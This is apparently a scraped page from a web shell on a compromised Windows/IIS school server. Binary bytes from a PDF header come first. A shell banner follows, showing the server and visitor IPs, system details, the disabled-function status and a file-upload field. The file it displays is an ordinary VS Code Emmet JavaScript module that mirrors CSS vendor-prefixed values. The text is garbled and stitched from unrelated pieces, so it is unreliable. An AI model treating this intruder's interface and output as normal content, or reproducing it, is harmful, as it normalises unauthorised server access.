%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files/Microsoft VS Code/resources/app/extensions/emmet/out/ |
Upload File : |
"use strict"; /*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ Object.defineProperty(exports, "__esModule", { value: true }); const vscode_1 = require("vscode"); const util_1 = require("./util"); const vendorPrefixes = ['-webkit-', '-moz-', '-ms-', '-o-', '']; function reflectCssValue() { let editor = vscode_1.window.activeTextEditor; if (!editor) { vscode_1.window.showInformationMessage('No editor is active.'); return; } let node = util_1.getCssPropertyFromDocument(editor, editor.selection.active); if (!node) { return; } return updateCSSNode(editor, node); } exports.reflectCssValue = reflectCssValue; function updateCSSNode(editor, property) { const rule = property.parent; let currentPrefix = ''; // Find vendor prefix of given property node for (let i = 0; i < vendorPrefixes.length; i++) { if (property.name.startsWith(vendorPrefixes[i])) { currentPrefix = vendorPrefixes[i]; break; } } const propertyName = property.name.substr(currentPrefix.length); const propertyValue = property.value; return editor.edit(builder => { // Find properties with vendor prefixes, update each vendorPrefixes.forEach(prefix => { if (prefix === currentPrefix) { return; } let vendorProperty = util_1.getCssPropertyFromRule(rule, prefix + propertyName); if (vendorProperty) { builder.replace(new vscode_1.Range(vendorProperty.valueToken.start, vendorProperty.valueToken.end), propertyValue); } }); }); } //# sourceMappingURL=https://ticino.blob.core.windows.net/sourcemaps/0f080e5267e829de46638128001aeb7ca2d6d50e/extensions\emmet\out/reflectCssValue.js.map